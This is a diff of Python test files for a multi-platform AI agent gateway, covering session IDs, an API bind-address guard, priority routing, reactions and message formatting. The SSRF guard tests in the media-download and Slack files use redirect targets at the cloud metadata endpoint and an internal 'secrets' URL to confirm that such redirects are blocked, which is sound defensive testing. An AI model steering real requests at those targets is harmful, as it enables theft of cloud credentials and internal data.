+                        },
+                    )
+                    session_ids.append(mock_run.call_args.kwargs["session_id"])
+
+        assert session_ids[0] != session_ids[1]
+
+
+# ---------------------------------------------------------------------------
+# _derive_chat_session_id unit tests
+# ---------------------------------------------------------------------------
+
+
+class TestDeriveChatSessionId:
+    def test_deterministic(self):
+        """Same inputs always produce the same session ID."""
+        a = _derive_chat_session_id("sys", "hello")
+        b = _derive_chat_session_id("sys", "hello")
+        assert a == b
+
+    def test_prefix(self):
+        assert _derive_chat_session_id(None, "hi").startswith("api-")
+
+    def test_different_system_prompt(self):
+        a = _derive_chat_session_id("You are a pirate.", "Hello")
+        b = _derive_chat_session_id("You are a robot.", "Hello")
+        assert a != b
+
+    def test_different_first_message(self):
+        a = _derive_chat_session_id(None, "Hello")
+        b = _derive_chat_session_id(None, "Goodbye")
+        assert a != b
+
+    def test_none_system_prompt(self):
+        """None system prompt doesn't crash."""
+        sid = _derive_chat_session_id(None, "test")
+        assert isinstance(sid, str) and len(sid) > 4
+
 
 # ---------------------------------------------------------------------------
 # /v1/responses endpoint

tests/gateway/test_api_server_bind_guard.py

@@ -0,0 +1,132 @@
+"""Tests for the API server bind-address startup guard.
+
+Validates that is_network_accessible() correctly classifies addresses and
+that connect() refuses to start on non-loopback without API_SERVER_KEY.
+"""
+
+import socket
+from unittest.mock import AsyncMock, patch
+
+import pytest
+
+from gateway.config import PlatformConfig
+from gateway.platforms.api_server import APIServerAdapter
+from gateway.platforms.base import is_network_accessible
+
+
+# ---------------------------------------------------------------------------
+# Unit tests: is_network_accessible()
+# ---------------------------------------------------------------------------
+
+
+class TestIsNetworkAccessible:
+    """Direct tests for the address classification helper."""
+
+    # -- Loopback (safe, should return False) --
+
+    def test_ipv4_loopback(self):
+        assert is_network_accessible("127.0.0.1") is False
+
+    def test_ipv6_loopback(self):
+        assert is_network_accessible("::1") is False
+
+    def test_ipv4_mapped_loopback(self):
+        # ::ffff:127.0.0.1 — Python's is_loopback returns False for mapped
+        # addresses; the helper must unwrap and check ipv4_mapped.
+        assert is_network_accessible("::ffff:127.0.0.1") is False
+
+    # -- Network-accessible (should return True) --
+
+    def test_ipv4_wildcard(self):
+        assert is_network_accessible("0.0.0.0") is True
+
+    def test_ipv6_wildcard(self):
+        # This is the bypass vector that the string-based check missed.
+        assert is_network_accessible("::") is True
+
+    def test_ipv4_mapped_unspecified(self):
+        assert is_network_accessible("::ffff:0.0.0.0") is True
+
+    def test_private_ipv4(self):
+        assert is_network_accessible("10.0.0.1") is True
+
+    def test_private_ipv4_class_c(self):
+        assert is_network_accessible("192.168.1.1") is True
+
+    def test_public_ipv4(self):
+        assert is_network_accessible("8.8.8.8") is True
+
+    # -- Hostname resolution --
+
+    def test_localhost_resolves_to_loopback(self):
+        loopback_result = [
+            (socket.AF_INET, socket.SOCK_STREAM, 0, "", ("127.0.0.1", 0)),
+        ]
+        with patch("gateway.platforms.base._socket.getaddrinfo", return_value=loopback_result):
+            assert is_network_accessible("localhost") is False
+
+    def test_hostname_resolving_to_non_loopback(self):
+        non_loopback_result = [
+            (socket.AF_INET, socket.SOCK_STREAM, 0, "", ("10.0.0.1", 0)),
+        ]
+        with patch("gateway.platforms.base._socket.getaddrinfo", return_value=non_loopback_result):
+            assert is_network_accessible("my-server.local") is True
+
+    def test_hostname_mixed_resolution(self):
+        """If a hostname resolves to both loopback and non-loopback, it's
+        network-accessible (any non-loopback address is enough)."""
+        mixed_result = [
+            (socket.AF_INET, socket.SOCK_STREAM, 0, "", ("127.0.0.1", 0)),
+            (socket.AF_INET, socket.SOCK_STREAM, 0, "", ("10.0.0.1", 0)),
+        ]
+        with patch("gateway.platforms.base._socket.getaddrinfo", return_value=mixed_result):
+            assert is_network_accessible("dual-host.local") is True
+
+    def test_dns_failure_fails_closed(self):
+        """Unresolvable hostnames should require an API key (fail closed)."""
+        with patch(
+            "gateway.platforms.base._socket.getaddrinfo",
+            side_effect=socket.gaierror("Name resolution failed"),
+        ):
+            assert is_network_accessible("nonexistent.invalid") is True
+
+
+# ---------------------------------------------------------------------------
+# Integration tests: connect() startup guard
+# ---------------------------------------------------------------------------
+
+
+class TestConnectBindGuard:
+    """Verify that connect() refuses dangerous configurations."""
+
+    @pytest.mark.asyncio
+    async def test_refuses_ipv4_wildcard_without_key(self):
+        adapter = APIServerAdapter(PlatformConfig(enabled=True, extra={"host": "0.0.0.0"}))
+        result = await adapter.connect()
+        assert result is False
+
+    @pytest.mark.asyncio
+    async def test_refuses_ipv6_wildcard_without_key(self):
+        adapter = APIServerAdapter(PlatformConfig(enabled=True, extra={"host": "::"}))
+        result = await adapter.connect()
+        assert result is False
+
+    def test_allows_loopback_without_key(self):
+        """Loopback with no key should pass the guard."""
+        adapter = APIServerAdapter(PlatformConfig(enabled=True, extra={"host": "127.0.0.1"}))
+        assert adapter._api_key == ""
+        # The guard condition: is_network_accessible(host) AND NOT api_key
+        # For loopback, is_network_accessible is False so the guard does not block.
+        assert is_network_accessible(adapter._host) is False
+
+    @pytest.mark.asyncio
+    async def test_allows_wildcard_with_key(self):
+        """Non-loopback with a key should pass the guard."""
+        adapter = APIServerAdapter(
+            PlatformConfig(enabled=True, extra={"host": "0.0.0.0", "key": "sk-test"})
+        )
+        # The guard checks: is_network_accessible(host) AND NOT api_key
+        # With a key set, the guard should not block.
+        assert adapter._api_key == "sk-test"
+        assert is_network_accessible("0.0.0.0") is True
+        # Combined: the guard condition is False (key is set), so it passes

tests/gateway/test_discord_channel_skills.py

@@ -0,0 +1,64 @@
+"""Tests for Discord channel_skill_bindings auto-skill resolution."""
+from unittest.mock import MagicMock
+import pytest
+
+
+def _make_adapter():
+    """Create a minimal DiscordAdapter with mocked config."""
+    from gateway.platforms.discord import DiscordAdapter
+    adapter = object.__new__(DiscordAdapter)
+    adapter.config = MagicMock()
+    adapter.config.extra = {}
+    return adapter
+
+
+class TestResolveChannelSkills:
+    def test_no_bindings_returns_none(self):
+        adapter = _make_adapter()
+        assert adapter._resolve_channel_skills("123") is None
+
+    def test_match_by_channel_id(self):
+        adapter = _make_adapter()
+        adapter.config.extra = {
+            "channel_skill_bindings": [
+                {"id": "100", "skills": ["skill-a", "skill-b"]},
+            ]
+        }
+        assert adapter._resolve_channel_skills("100") == ["skill-a", "skill-b"]
+
+    def test_match_by_parent_id(self):
+        adapter = _make_adapter()
+        adapter.config.extra = {
+            "channel_skill_bindings": [
+                {"id": "200", "skills": ["forum-skill"]},
+            ]
+        }
+        # channel_id doesn't match, but parent_id does (forum thread)
+        assert adapter._resolve_channel_skills("999", parent_id="200") == ["forum-skill"]
+
+    def test_no_match_returns_none(self):
+        adapter = _make_adapter()
+        adapter.config.extra = {
+            "channel_skill_bindings": [
+                {"id": "100", "skills": ["skill-a"]},
+            ]
+        }
+        assert adapter._resolve_channel_skills("999") is None
+
+    def test_single_skill_string(self):
+        adapter = _make_adapter()
+        adapter.config.extra = {
+            "channel_skill_bindings": [
+                {"id": "100", "skill": "solo-skill"},
+            ]
+        }
+        assert adapter._resolve_channel_skills("100") == ["solo-skill"]
+
+    def test_dedup_preserves_order(self):
+        adapter = _make_adapter()
+        adapter.config.extra = {
+            "channel_skill_bindings": [
+                {"id": "100", "skills": ["a", "b", "a", "c", "b"]},
+            ]
+        }
+        assert adapter._resolve_channel_skills("100") == ["a", "b", "c"]

tests/gateway/test_fast_command.py

@@ -0,0 +1,191 @@
+"""Tests for gateway /fast support and Priority Processing routing."""
+
+import sys
+import threading
+import types
+from types import SimpleNamespace
+from unittest.mock import AsyncMock, patch
+
+import pytest
+import yaml
+
+import gateway.run as gateway_run
+from gateway.config import Platform
+from gateway.platforms.base import MessageEvent
+from gateway.session import SessionSource
+
+
+class _CapturingAgent:
+    last_init = None
+    last_run = None
+
+    def __init__(self, *args, **kwargs):
+        type(self).last_init = dict(kwargs)
+        self.tools = []
+
+    def run_conversation(self, user_message, conversation_history=None, task_id=None, persist_user_message=None):
+        type(self).last_run = {
+            "user_message": user_message,
+            "conversation_history": conversation_history,
+            "task_id": task_id,
+            "persist_user_message": persist_user_message,
+        }
+        return {
+            "final_response": "ok",
+            "messages": [],
+            "api_calls": 1,
+            "completed": True,
+        }
+
+
+def _install_fake_agent(monkeypatch):
+    fake_run_agent = types.ModuleType("run_agent")
+    fake_run_agent.AIAgent = _CapturingAgent
+    monkeypatch.setitem(sys.modules, "run_agent", fake_run_agent)
+
+
+def _make_runner():
+    runner = object.__new__(gateway_run.GatewayRunner)
+    runner.adapters = {}
+    runner._ephemeral_system_prompt = ""
+    runner._prefill_messages = []
+    runner._reasoning_config = None
+    runner._service_tier = None
+    runner._provider_routing = {}
+    runner._fallback_model = None
+    runner._smart_model_routing = {}
+    runner._running_agents = {}
+    runner._pending_model_notes = {}
+    runner._session_db = None
+    runner._agent_cache = {}
+    runner._agent_cache_lock = threading.Lock()
+    runner._session_model_overrides = {}
+    runner.hooks = SimpleNamespace(loaded_hooks=False)
+    runner.config = SimpleNamespace(streaming=None)
+    runner.session_store = SimpleNamespace(
+        get_or_create_session=lambda source: SimpleNamespace(session_id="session-1"),
+        load_transcript=lambda session_id: [],
+    )
+    runner._get_or_create_gateway_honcho = lambda session_key: (None, None)
+    runner._enrich_message_with_vision = AsyncMock(return_value="ENRICHED")
+    return runner
+
+
+def _make_source() -> SessionSource:
+    return SessionSource(
+        platform=Platform.TELEGRAM,
+        chat_id="12345",
+        chat_type="dm",
+        user_id="user-1",
+    )
+
+
+def _make_event(text: str) -> MessageEvent:
+    return MessageEvent(text=text, source=_make_source(), message_id="m1")
+
+
+def test_turn_route_injects_priority_processing_without_changing_runtime():
+    runner = _make_runner()
+    runner._service_tier = "priority"
+    runtime_kwargs = {
+        "api_key": "***",
+        "base_url": "https://openrouter.ai/api/v1",
+        "provider": "openrouter",
+        "api_mode": "chat_completions",
+        "command": None,
+        "args": [],
+        "credential_pool": None,
+    }
+
+    with patch("agent.smart_model_routing.resolve_turn_route", return_value={
+        "model": "gpt-5.4",
+        "runtime": dict(runtime_kwargs),
+        "label": None,
+        "signature": ("gpt-5.4", "openrouter", "https://openrouter.ai/api/v1", "chat_completions", None, ()),
+    }):
+        route = gateway_run.GatewayRunner._resolve_turn_agent_config(runner, "hi", "gpt-5.4", runtime_kwargs)
+
+    assert route["runtime"]["provider"] == "openrouter"
+    assert route["runtime"]["api_mode"] == "chat_completions"
+    assert route["request_overrides"] == {"service_tier": "priority"}
+
+
+def test_turn_route_skips_priority_processing_for_unsupported_models():
+    runner = _make_runner()
+    runner._service_tier = "priority"
+    runtime_kwargs = {
+        "api_key": "***",
+        "base_url": "https://openrouter.ai/api/v1",
+        "provider": "openrouter",
+        "api_mode": "chat_completions",
+        "command": None,
+        "args": [],
+        "credential_pool": None,
+    }
+
+    with patch("agent.smart_model_routing.resolve_turn_route", return_value={
+        "model": "gpt-5.3-codex",
+        "runtime": dict(runtime_kwargs),
+        "label": None,
+        "signature": ("gpt-5.3-codex", "openrouter", "https://openrouter.ai/api/v1", "chat_completions", None, ()),
+    }):
+        route = gateway_run.GatewayRunner._resolve_turn_agent_config(runner, "hi", "gpt-5.3-codex", runtime_kwargs)
+
+    assert route["request_overrides"] is None
+
+
+@pytest.mark.asyncio
+async def test_handle_fast_command_persists_config(monkeypatch, tmp_path):
+    runner = _make_runner()
+
+    monkeypatch.setattr(gateway_run, "_hermes_home", tmp_path)
+    monkeypatch.setattr(gateway_run, "_load_gateway_config", lambda: {})
+    monkeypatch.setattr(gateway_run, "_resolve_gateway_model", lambda config=None: "gpt-5.4")
+
+    response = await runner._handle_fast_command(_make_event("/fast fast"))
+
+    assert "FAST" in response
+    assert runner._service_tier == "priority"
+
+    saved = yaml.safe_load((tmp_path / "config.yaml").read_text(encoding="utf-8"))
+    assert saved["agent"]["service_tier"] == "fast"
+
+
+@pytest.mark.asyncio
+async def test_run_agent_passes_priority_processing_to_gateway_agent(monkeypatch, tmp_path):
+    _install_fake_agent(monkeypatch)
+    runner = _make_runner()
+
+    (tmp_path / "config.yaml").write_text("agent:\n  service_tier: fast\n", encoding="utf-8")
+    monkeypatch.setattr(gateway_run, "_hermes_home", tmp_path)
+    monkeypatch.setattr(gateway_run, "_env_path", tmp_path / ".env")
+    monkeypatch.setattr(gateway_run, "load_dotenv", lambda *args, **kwargs: None)
+    monkeypatch.setattr(gateway_run, "_load_gateway_config", lambda: {})
+    monkeypatch.setattr(gateway_run, "_resolve_gateway_model", lambda config=None: "gpt-5.4")
+    monkeypatch.setattr(
+        gateway_run,
+        "_resolve_runtime_agent_kwargs",
+        lambda: {
+            "provider": "openrouter",
+            "api_mode": "chat_completions",
+            "base_url": "https://openrouter.ai/api/v1",
+            "api_key": "***",
+        },
+    )
+
+    import hermes_cli.tools_config as tools_config
+    monkeypatch.setattr(tools_config, "_get_platform_tools", lambda user_config, platform_key: {"core"})
+
+    _CapturingAgent.last_init = None
+    result = await runner._run_agent(
+        message="hi",
+        context_prompt="",
+        history=[],
+        source=_make_source(),
+        session_id="session-1",
+        session_key="agent:main:telegram:dm:12345",
+    )
+
+    assert result["final_response"] == "ok"
+    assert _CapturingAgent.last_init["service_tier"] == "priority"
+    assert _CapturingAgent.last_init["request_overrides"] == {"service_tier": "priority"}

tests/gateway/test_matrix.py

@@ -1943,7 +1943,7 @@ class TestMatrixReactions:
 
         with patch.dict("sys.modules", {"nio": fake_nio}):
             result = await self.adapter._send_reaction("!room:ex", "$event1", "👍")
-        assert result is True
+        assert result == "$reaction1"
         mock_client.room_send.assert_called_once()
         args = mock_client.room_send.call_args
         assert args[0][1] == "m.reaction"
@@ -1956,7 +1956,7 @@ class TestMatrixReactions:
         self.adapter._client = None
         with patch.dict("sys.modules", {"nio": _make_fake_nio()}):
             result = await self.adapter._send_reaction("!room:ex", "$ev", "👍")
-        assert result is False
+        assert result is None
 
     @pytest.mark.asyncio
     async def test_on_processing_start_sends_eyes(self):
@@ -1964,7 +1964,7 @@ class TestMatrixReactions:
         from gateway.platforms.base import MessageEvent, MessageType
 
         self.adapter._reactions_enabled = True
-        self.adapter._send_reaction = AsyncMock(return_value=True)
+        self.adapter._send_reaction = AsyncMock(return_value="$reaction_event_123")
 
         source = MagicMock()
         source.chat_id = "!room:ex"
@@ -1977,13 +1977,16 @@ class TestMatrixReactions:
         )
         await self.adapter.on_processing_start(event)
         self.adapter._send_reaction.assert_called_once_with("!room:ex", "$msg1", "👀")
+        assert self.adapter._pending_reactions == {("!room:ex", "$msg1"): "$reaction_event_123"}
 
     @pytest.mark.asyncio
     async def test_on_processing_complete_sends_check(self):
         from gateway.platforms.base import MessageEvent, MessageType, ProcessingOutcome
 
         self.adapter._reactions_enabled = True
-        self.adapter._send_reaction = AsyncMock(return_value=True)
+        self.adapter._pending_reactions = {("!room:ex", "$msg1"): "$eyes_reaction_123"}
+        self.adapter._redact_reaction = AsyncMock(return_value=True)
+        self.adapter._send_reaction = AsyncMock(return_value="$check_reaction_456")
 
         source = MagicMock()
         source.chat_id = "!room:ex"
@@ -1995,8 +1998,31 @@ class TestMatrixReactions:
             message_id="$msg1",
         )
         await self.adapter.on_processing_complete(event, ProcessingOutcome.SUCCESS)
+        self.adapter._redact_reaction.assert_called_once_with("!room:ex", "$eyes_reaction_123")
         self.adapter._send_reaction.assert_called_once_with("!room:ex", "$msg1", "✅")
 
+    @pytest.mark.asyncio
+    async def test_on_processing_complete_sends_cross_on_failure(self):
+        from gateway.platforms.base import MessageEvent, MessageType, ProcessingOutcome
+
+        self.adapter._reactions_enabled = True
+        self.adapter._pending_reactions = {("!room:ex", "$msg1"): "$eyes_reaction_123"}
+        self.adapter._redact_reaction = AsyncMock(return_value=True)
+        self.adapter._send_reaction = AsyncMock(return_value="$cross_reaction_456")
+
+        source = MagicMock()
+        source.chat_id = "!room:ex"
+        event = MessageEvent(
+            text="hello",
+            message_type=MessageType.TEXT,
+            source=source,
+            raw_message={},
+            message_id="$msg1",
+        )
+        await self.adapter.on_processing_complete(event, ProcessingOutcome.FAILURE)
+        self.adapter._redact_reaction.assert_called_once_with("!room:ex", "$eyes_reaction_123")
+        self.adapter._send_reaction.assert_called_once_with("!room:ex", "$msg1", "❌")
+
     @pytest.mark.asyncio
     async def test_on_processing_complete_cancelled_sends_no_terminal_reaction(self):
         from gateway.platforms.base import MessageEvent, MessageType, ProcessingOutcome
@@ -2016,6 +2042,29 @@ class TestMatrixReactions:
         await self.adapter.on_processing_complete(event, ProcessingOutcome.CANCELLED)
         self.adapter._send_reaction.assert_not_called()
 
+    @pytest.mark.asyncio
+    async def test_on_processing_complete_no_pending_reaction(self):
+        """on_processing_complete should skip redaction if no eyes reaction was tracked."""
+        from gateway.platforms.base import MessageEvent, MessageType, ProcessingOutcome
+
+        self.adapter._reactions_enabled = True
+        self.adapter._pending_reactions = {}
+        self.adapter._redact_reaction = AsyncMock()
+        self.adapter._send_reaction = AsyncMock(return_value="$check_reaction_789")
+
+        source = MagicMock()
+        source.chat_id = "!room:ex"
+        event = MessageEvent(
+            text="hello",
+            message_type=MessageType.TEXT,
+            source=source,
+            raw_message={},
+            message_id="$msg1",
+        )
+        await self.adapter.on_processing_complete(event, ProcessingOutcome.SUCCESS)
+        self.adapter._redact_reaction.assert_not_called()
+        self.adapter._send_reaction.assert_called_once_with("!room:ex", "$msg1", "✅")
+
     @pytest.mark.asyncio
     async def test_reactions_disabled(self):
         from gateway.platforms.base import MessageEvent, MessageType

tests/gateway/test_media_download_retry.py

@@ -376,6 +376,134 @@ class TestCacheAudioFromUrl:
         mock_sleep.assert_not_called()
 
 
+# ---------------------------------------------------------------------------
+# SSRF redirect guard tests (base.py)
+# ---------------------------------------------------------------------------
+
+
+class TestSSRFRedirectGuard:
+    """cache_image_from_url / cache_audio_from_url must reject redirects
+    that land on private/internal hosts (e.g. cloud metadata endpoint)."""
+
+    def _make_redirect_response(self, target_url: str):
+        """Build a mock httpx response that looks like a redirect."""
+        resp = MagicMock()
+        resp.is_redirect = True
+        resp.next_request = MagicMock(url=target_url)
+        return resp
+
+    def _make_client_capturing_hooks(self):
+        """Return (mock_client, captured_kwargs dict) where captured_kwargs
+        will contain the kwargs passed to httpx.AsyncClient()."""
+        captured = {}
+        mock_client = AsyncMock()
+        mock_client.__aenter__ = AsyncMock(return_value=mock_client)
+        mock_client.__aexit__ = AsyncMock(return_value=False)
+
+        def factory(*args, **kwargs):
+            captured.update(kwargs)
+            return mock_client
+
+        return mock_client, captured, factory
+
+    def test_image_blocks_private_redirect(self, tmp_path, monkeypatch):
+        """cache_image_from_url rejects a redirect to a private IP."""
+        monkeypatch.setattr("gateway.platforms.base.IMAGE_CACHE_DIR", tmp_path / "img")
+
+        redirect_resp = self._make_redirect_response(
+            "http://169.254.169.254/latest/meta-data"
+        )
+        mock_client, captured, factory = self._make_client_capturing_hooks()
+
+        async def fake_get(_url, **kwargs):
+            # Simulate httpx calling the response event hooks
+            for hook in captured["event_hooks"]["response"]:
+                await hook(redirect_resp)
+
+        mock_client.get = AsyncMock(side_effect=fake_get)
+
+        def fake_safe(url):
+            return url == "https://public.example.com/image.png"
+
+        async def run():
+            with patch("tools.url_safety.is_safe_url", side_effect=fake_safe), \
+                 patch("httpx.AsyncClient", side_effect=factory):
+                from gateway.platforms.base import cache_image_from_url
+                await cache_image_from_url(
+                    "https://public.example.com/image.png", ext=".png"
+                )
+
+        with pytest.raises(ValueError, match="Blocked redirect"):
+            asyncio.run(run())
+
+    def test_audio_blocks_private_redirect(self, tmp_path, monkeypatch):
+        """cache_audio_from_url rejects a redirect to a private IP."""
+        monkeypatch.setattr("gateway.platforms.base.AUDIO_CACHE_DIR", tmp_path / "audio")
+
+        redirect_resp = self._make_redirect_response(
+            "http://10.0.0.1/internal/secrets"
+        )
+        mock_client, captured, factory = self._make_client_capturing_hooks()
+
+        async def fake_get(_url, **kwargs):
+            for hook in captured["event_hooks"]["response"]:
+                await hook(redirect_resp)
+
+        mock_client.get = AsyncMock(side_effect=fake_get)
+
+        def fake_safe(url):
+            return url == "https://public.example.com/voice.ogg"
+
+        async def run():
+            with patch("tools.url_safety.is_safe_url", side_effect=fake_safe), \
+                 patch("httpx.AsyncClient", side_effect=factory):
+                from gateway.platforms.base import cache_audio_from_url
+                await cache_audio_from_url(
+                    "https://public.example.com/voice.ogg", ext=".ogg"
+                )
+
+        with pytest.raises(ValueError, match="Blocked redirect"):
+            asyncio.run(run())
+
+    def test_safe_redirect_allowed(self, tmp_path, monkeypatch):
+        """A redirect to a public IP is allowed through."""
+        monkeypatch.setattr("gateway.platforms.base.IMAGE_CACHE_DIR", tmp_path / "img")
+
+        redirect_resp = self._make_redirect_response(
+            "https://cdn.example.com/real-image.png"
+        )
+
+        ok_response = MagicMock()
+        ok_response.content = b"\xff\xd8\xff fake jpeg"
+        ok_response.raise_for_status = MagicMock()
+        ok_response.is_redirect = False
+
+        mock_client, captured, factory = self._make_client_capturing_hooks()
+
+        call_count = 0
+
+        async def fake_get(_url, **kwargs):
+            nonlocal call_count
+            call_count += 1
+            # First call triggers redirect hook, second returns data
+            for hook in captured["event_hooks"]["response"]:
+                await hook(redirect_resp if call_count == 1 else ok_response)
+            return ok_response
+
+        mock_client.get = AsyncMock(side_effect=fake_get)
+
+        async def run():
+            with patch("tools.url_safety.is_safe_url", return_value=True), \
+                 patch("httpx.AsyncClient", side_effect=factory):
+                from gateway.platforms.base import cache_image_from_url
+                return await cache_image_from_url(
+                    "https://public.example.com/image.png", ext=".jpg"
+                )
+
+        path = asyncio.run(run())
+        assert path.endswith(".jpg")
+
+
 # ---------------------------------------------------------------------------
 # Slack mock setup (mirrors existing test_slack.py approach)
 # ---------------------------------------------------------------------------

tests/gateway/test_platform_base.py

@@ -8,7 +8,7 @@ from gateway.platforms.base import (
     GATEWAY_SECRET_CAPTURE_UNSUPPORTED_MESSAGE,
     MessageEvent,
     MessageType,
-    _safe_url_for_log,
+    safe_url_for_log,
 )
 
 
@@ -25,7 +25,7 @@ class TestSafeUrlForLog:
             "https://user:pass@example.com/private/path/image.png"
             "?X-Amz-Signature=supersecret&token=abc#frag"
         )
-        result = _safe_url_for_log(url)
+        result = safe_url_for_log(url)
         assert result == "https://example.com/.../image.png"
         assert "supersecret" not in result
         assert "token=abc" not in result
@@ -33,15 +33,15 @@ class TestSafeUrlForLog:
 
     def test_truncates_long_values(self):
         long_url = "https://example.com/" + ("a" * 300)
-        result = _safe_url_for_log(long_url, max_len=40)
+        result = safe_url_for_log(long_url, max_len=40)
         assert len(result) == 40
         assert result.endswith("...")
 
     def test_handles_small_and_non_positive_max_len(self):
         url = "https://example.com/very/long/path/file.png?token=secret"
-        assert _safe_url_for_log(url, max_len=3) == "..."
-        assert _safe_url_for_log(url, max_len=2) == ".."
-        assert _safe_url_for_log(url, max_len=0) == ""
+        assert safe_url_for_log(url, max_len=3) == "..."
+        assert safe_url_for_log(url, max_len=2) == ".."
+        assert safe_url_for_log(url, max_len=0) == ""
 
 
 # ---------------------------------------------------------------------------

tests/gateway/test_slack.py

@@ -1586,6 +1586,61 @@ class TestFallbackPreservesThreadContext:
         assert "important screenshot" in call_kwargs["text"]
 
 
+# ---------------------------------------------------------------------------
+# TestSendImageSSRFGuards
+# ---------------------------------------------------------------------------
+
+class TestSendImageSSRFGuards:
+    """send_image should reject redirects that land on private/internal hosts."""
+
+    @pytest.mark.asyncio
+    async def test_send_image_blocks_private_redirect_target(self, adapter):
+        redirect_response = MagicMock()
+        redirect_response.is_redirect = True
+        redirect_response.next_request = MagicMock(
+            url="http://169.254.169.254/latest/meta-data"
+        )
+
+        client_kwargs = {}
+        mock_client = AsyncMock()
+        mock_client.__aenter__ = AsyncMock(return_value=mock_client)
+        mock_client.__aexit__ = AsyncMock(return_value=False)
+
+        async def fake_get(_url):
+            for hook in client_kwargs["event_hooks"]["response"]:
+                await hook(redirect_response)
+
+        mock_client.get = AsyncMock(side_effect=fake_get)
+        adapter._app.client.files_upload_v2 = AsyncMock(return_value={"ok": True})
+        adapter._app.client.chat_postMessage = AsyncMock(return_value={"ts": "reply_ts"})
+
+        def fake_async_client(*args, **kwargs):
+            client_kwargs.update(kwargs)
+            return mock_client
+
+        def fake_is_safe_url(url):
+            return url == "https://public.example/image.png"
+
+        with (
+            patch("tools.url_safety.is_safe_url", side_effect=fake_is_safe_url),
+            patch("httpx.AsyncClient", side_effect=fake_async_client),
+        ):
+            result = await adapter.send_image(
+                chat_id="C123",
+                image_url="https://public.example/image.png",
+                caption="see this",
+            )
+
+        assert result.success
+        assert client_kwargs["follow_redirects"] is True
+        assert client_kwargs["event_hooks"]["response"]
+        adapter._app.client.files_upload_v2.assert_not_awaited()
+        adapter._app.client.chat_postMessage.assert_awaited_once()
+        call_kwargs = adapter._app.client.chat_postMessage.call_args.kwargs
+        assert "see this" in call_kwargs["text"]
+        assert "https://public.example/image.png" in call_kwargs["text"]
+
+
 # ---------------------------------------------------------------------------
 # TestProgressMessageThread
 # ---------------------------------------------------------------------------

tests/gateway/test_telegram_reactions.py

@@ -175,7 +175,7 @@ async def test_on_processing_start_handles_missing_ids(monkeypatch):
 
 @pytest.mark.asyncio
 async def test_on_processing_complete_success(monkeypatch):
-    """Successful processing should set check mark reaction."""
+    """Successful processing should set thumbs-up reaction."""
     monkeypatch.setenv("TELEGRAM_REACTIONS", "true")
     adapter = _make_adapter()
     event = _make_event()
@@ -185,13 +185,13 @@ async def test_on_processing_complete_success(monkeypatch):
     adapter._bot.set_message_reaction.assert_awaited_once_with(
         chat_id=123,
         message_id=456,
-        reaction="\u2705",
+        reaction="\U0001f44d",
     )
 
 
 @pytest.mark.asyncio
 async def test_on_processing_complete_failure(monkeypatch):
-    """Failed processing should set cross mark reaction."""
+    """Failed processing should set thumbs-down reaction."""
     monkeypatch.setenv("TELEGRAM_REACTIONS", "true")
     adapter = _make_adapter()
     event = _make_event()
@@ -201,7 +201,7 @@ async def test_on_processing_complete_failure(monkeypatch):
     adapter._bot.set_message_reaction.assert_awaited_once_with(
         chat_id=123,
         message_id=456,
-        reaction="\u274c",
+        reaction="\U0001f44e",
     )
 
 

tests/gateway/test_weixin.py

@@ -0,0 +1,214 @@
+"""Tests for the Weixin platform adapter."""
+
+import asyncio
+import os
+from unittest.mock import AsyncMock, patch
+
+from gateway.config import PlatformConfig
+from gateway.config import GatewayConfig, HomeChannel, Platform, _apply_env_overrides
+from gateway.platforms.weixin import WeixinAdapter
+from tools.send_message_tool import _parse_target_ref, _send_to_platform
+
+
+def _make_adapter() -> WeixinAdapter:
+    return WeixinAdapter(
+        PlatformConfig(
+            enabled=True,
+            token="test-token",
+            extra={"account_id": "test-account"},
+        )
+    )
+
+
+class TestWeixinFormatting:
+    def test_format_message_preserves_markdown_and_rewrites_headers(self):
+        adapter = _make_adapter()
+
+        content = "# Title\n\n## Plan\n\nUse **bold** and [docs](https://example.com)."
+
+        assert (
+            adapter.format_message(content)
+            == "【Title】\n\n**Plan**\n\nUse **bold** and [docs](https://example.com)."
+        )
+
+    def test_format_message_rewrites_markdown_tables(self):
+        adapter = _make_adapter()
+
+        content = (
+            "| Setting | Value |\n"
+            "| --- | --- |\n"
+            "| Timeout | 30s |\n"
+            "| Retries | 3 |\n"
+        )
+
+        assert adapter.format_message(content) == (
+            "- Setting: Timeout\n"
+            "  Value: 30s\n"
+            "- Setting: Retries\n"
+            "  Value: 3"
+        )
+
+    def test_format_message_preserves_fenced_code_blocks(self):
+        adapter = _make_adapter()
+
+        content = "## Snippet\n\n```python\nprint('hi')\n```"
+
+        assert adapter.format_message(content) == "**Snippet**\n\n```python\nprint('hi')\n```"
+
+    def test_format_message_returns_empty_string_for_none(self):
+        adapter = _make_adapter()
+
+        assert adapter.format_message(None) == ""
+
+
+class TestWeixinChunking:
+    def test_split_text_sends_top_level_newlines_as_separate_messages(self):
+        adapter = _make_adapter()
+
+        content = adapter.format_message("第一行\n第二行\n第三行")
+        chunks = adapter._split_text(content)
+
+        assert chunks == ["第一行", "第二行", "第三行"]
+
+    def test_split_text_keeps_indented_followup_with_previous_line(self):
+        adapter = _make_adapter()
+
+        content = adapter.format_message(
+            "| Setting | Value |\n"
+            "| --- | --- |\n"
+            "| Timeout | 30s |\n"
+            "| Retries | 3 |\n"
+        )
+        chunks = adapter._split_text(content)
+
+        assert chunks == [
+            "- Setting: Timeout\n  Value: 30s",
+            "- Setting: Retries\n  Value: 3",
+        ]
+
+    def test_split_text_keeps_complete_code_block_together_when_possible(self):
+        adapter = _make_adapter()
+        adapter.MAX_MESSAGE_LENGTH = 80
+
+        content = adapter.format_message(
+            "## Intro\n\nShort paragraph.\n\n```python\nprint('hello world')\nprint('again')\n```\n\nTail paragraph."
+        )
+        chunks = adapter._split_text(content)
+
+        assert len(chunks) >= 2
+        assert any(
+            "```python\nprint('hello world')\nprint('again')\n```" in chunk
+            for chunk in chunks
+        )
+        assert all(chunk.count("```") % 2 == 0 for chunk in chunks)
+
+    def test_split_text_safely_splits_long_code_blocks(self):
+        adapter = _make_adapter()
+        adapter.MAX_MESSAGE_LENGTH = 70
+
+        lines = "\n".join(f"line_{idx:02d} = {idx}" for idx in range(10))
+        content = adapter.format_message(f"```python\n{lines}\n```")
+        chunks = adapter._split_text(content)
+
+        assert len(chunks) > 1
+        assert all(len(chunk) <= adapter.MAX_MESSAGE_LENGTH for chunk in chunks)
+        assert all(chunk.count("```") >= 2 for chunk in chunks)
+
+
+class TestWeixinConfig:
+    def test_apply_env_overrides_configures_weixin(self):
+        config = GatewayConfig()
+
+        with patch.dict(
+            os.environ,
+            {
+                "WEIXIN_ACCOUNT_ID": "bot-account",
+                "WEIXIN_TOKEN": "bot-token",
+                "WEIXIN_BASE_URL": "https://ilink.example.com/",
